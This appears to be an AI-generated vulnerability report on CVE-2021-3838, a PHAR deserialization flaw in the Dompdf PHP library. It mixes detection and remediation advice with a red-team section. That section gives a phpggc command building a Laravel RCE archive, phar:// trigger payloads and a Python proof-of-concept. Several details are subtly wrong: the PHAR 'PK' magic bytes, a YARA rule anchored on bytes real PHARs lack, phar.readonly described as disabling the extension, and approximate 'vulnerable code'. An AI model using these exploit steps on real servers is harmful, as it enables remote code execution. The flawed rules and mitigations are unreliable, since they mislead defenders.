CVE-2021-3838
Executive Summary
CVE-2021-3838 is a critical vulnerability in the Dompdf PHP library, affecting all versions prior to 2.0.0. The flaw allows an attacker to perform PHAR deserialization by exploiting the lack of protocol validation in the file_get_contents() function. An attacker who can upload arbitrary files to the server can craft a malicious PHAR archive, pass it via the phar:// protocol, and trigger the unserialization of arbitrary PHP objects. This can lead to Remote Code Execution (RCE), especially when Dompdf is used with frameworks like Laravel that have documented POP (Property Oriented Programming) chains, or with custom vulnerable code.
The vulnerability has a CVSS score of 9.8 (Critical), indicating a severe risk to confidentiality, integrity, and availability. Despite a low EPSS score (0.0%), the public availability of proof-of-concept code and the widespread use of Dompdf make this a high-priority target for threat actors.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Dompdf is a PHP library distributed via Composer/Packagist. This vulnerability affects the entire supply chain of applications that include Dompdf as a dependency. Organizations using Composer must ensure their composer.lock file references Dompdf version 2.0.0 or later. Automated dependency scanning tools (e.g., Dependabot, Snyk) should flag versions below 2.0.0 as critical.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full system compromise possible.
- Integrity (I): High (H) – Attacker can modify data and code.
- Availability (A): High (H) – Attacker can cause denial of service or full system takeover.
Threat Level: Critical. The combination of network exploitability, low complexity, and high impact makes this a top-priority vulnerability for patching.
Deep Dive & Mechanics
The vulnerability resides in Dompdf's handling of remote file references. When Dompdf processes a CSS @import or src: URL, it passes the user-supplied path directly to file_get_contents() without validating the protocol. An attacker can craft a URL like phar://path/to/uploaded/file.phar to trigger PHP's PHAR deserialization.
PHAR Deserialization: PHP's PHAR (PHP Archive) files contain metadata that is unserialized when the file is accessed via the phar:// wrapper. If an attacker can upload a malicious PHAR file (e.g., via a file upload feature in the same application), they can include a serialized PHP object in the PHAR metadata. When Dompdf processes the phar:// URL, PHP unserializes this metadata, instantiating arbitrary objects and potentially triggering POP chains.
POP Chains: In frameworks like Laravel, certain classes have "magic methods" (e.g., __destruct, __wakeup, __toString) that can be chained to execute arbitrary code. An attacker can craft a serialized payload that, when unserialized, triggers a chain of method calls leading to RCE.
Attack Flow:
- Attacker uploads a malicious PHAR file (e.g.,
exploit.phar) to the server via an existing file upload feature. - Attacker crafts a request to Dompdf that includes a CSS
@importorsrc:URL pointing tophar:///path/to/uploaded/exploit.phar. - Dompdf passes this URL to
file_get_contents(), which triggers PHAR deserialization. - The unserialized metadata instantiates arbitrary objects, leading to RCE.
Vulnerable vs. Patched Code
Vulnerable Code (pre-2.0.0):
// In Dompdf's src/Adapter/CPDF.php or similar
$protocol = '';
$url = $src; // User-supplied URL
$content = file_get_contents($url); // No protocol validation
Patched Code (2.0.0+):
// In Dompdf's src/Adapter/CPDF.php or similar
$protocol = parse_url($url, PHP_URL_SCHEME);
$allowedProtocols = ['http', 'https', 'ftp', 'data', 'file']; // Whitelist
if (!in_array($protocol, $allowedProtocols)) {
throw new Exception("Invalid protocol: $protocol");
}
$content = file_get_contents($url);
The patch adds a whitelist of allowed protocols, explicitly blocking phar:// and other dangerous wrappers.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A target running Dompdf < 2.0.0 with a file upload feature.
- Ability to upload arbitrary files (e.g., via a profile picture upload).
- Knowledge of a POP chain (e.g., Laravel's
MonologorSwiftMailerchains).
Step 1: Generate Malicious PHAR File
Use a tool like phpggc to generate a PHAR file with a Laravel POP chain:
phpggc Laravel/RCE1 system 'id' --phar phar://test.phar
This creates test.phar that, when unserialized, executes system('id').
Step 2: Upload the PHAR File
Upload test.phar to the target via the file upload feature. Note the path (e.g., /uploads/test.phar).
Step 3: Trigger Deserialization
Craft a request to Dompdf that includes a CSS @import pointing to the PHAR file:
@import url('phar:///var/www/html/uploads/test.phar');
Or via a URL parameter:
http://target.com/dompdf.php?input_file=phar:///var/www/html/uploads/test.phar
Step 4: Execute Commands
If successful, the id command will execute, and the output may be visible in the generated PDF or error logs.
Proof-of-Concept (Python):
import requests
target = "http://target.com/dompdf.php"
phar_path = "/var/www/html/uploads/exploit.phar"
# Upload PHAR file
files = {'file': open('exploit.phar', 'rb')}
requests.post(target + "/upload", files=files)
# Trigger deserialization
payload = f"phar://{phar_path}"
requests.get(target, params={'input_file': payload})
Blue Team (Defensive)
Detection:
- Monitor for
phar://in HTTP request parameters, especially ininput_file,src, or@importvalues. - Alert on file uploads with
.pharextension or PHAR magic bytes (50484152). - Use WAF rules to block
phar://protocol in URLs.
Hunting:
- Search logs for
file_get_contentscalls withphar://in the argument. - Look for unexpected PHP object instantiation in error logs (e.g.,
__PHP_Incomplete_Class).
Lab Setup:
- Deploy a vulnerable Dompdf instance (e.g., using Docker):
docker run -d -p 8080:80 vulnerables/cve-2021-3838 - Set up a file upload endpoint (e.g.,
/upload.php). - Use the Red Team steps above to test detection.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
phar://in the URL or POST body. - Outbound connections to attacker-controlled servers (for reverse shells).
- HTTP requests containing
- File IOCs:
- Files with
.pharextension in upload directories. - PHAR magic bytes:
50484152(hex) orPK(ASCII) at offset 0.
- Files with
- System IOCs:
- Unexpected PHP processes (e.g.,
php -r). - New cron jobs or systemd services.
- Modified
.bashrcor.ssh/authorized_keys.
- Unexpected PHP processes (e.g.,
- Log IOCs:
- PHP error logs containing
unserialize()or__PHP_Incomplete_Class. - Web server logs with
phar://in the request URI.
- PHP error logs containing
Detection Engineering
YARA Rule
rule CVE_2021_3838_PHAR_Deserialization {
meta:
description = "Detects PHAR files exploiting CVE-2021-3838"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2021-3838"
strings:
$phar_magic = { 50 48 41 52 } // PHAR magic bytes
$phar_stub = "<?php __HALT_COMPILER();"
$serialized = /O:\d+:"[^"]+":\d+:/ // Serialized object pattern
condition:
$phar_magic at 0 and $phar_stub and #serialized > 0
}
Sigma Rule
title: CVE-2021-3838 Dompdf PHAR Deserialization Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2021-3838 via phar:// protocol in HTTP requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'phar://'
condition: selection
falsepositives:
- Legitimate use of phar:// in internal tools (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2021-3838 Dompdf PHAR Deserialization Attempt"; flow:to_server,established; content:"phar://"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Dompdf to version 2.0.0 or later. This is the only complete fix.
- If upgrade is not possible, apply a virtual patch using a WAF to block
phar://in URLs. - Disable the
pharPHP extension if not needed (phar.readonly = 1in php.ini).
Long-term Mitigations:
- Implement strict file upload validation: whitelist file types, scan for PHAR magic bytes.
- Use a Web Application Firewall (WAF) with rules to block dangerous protocols.
- Regularly audit dependencies for known vulnerabilities using tools like
composer audit. - Apply the principle of least privilege to the web server user.
Detection & Monitoring:
- Deploy the YARA, Sigma, and Suricata rules provided above.
- Enable detailed logging for PHP errors and web server access.
- Set up alerts for any
phar://usage in application logs.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further assistance, contact security@valters-it.com.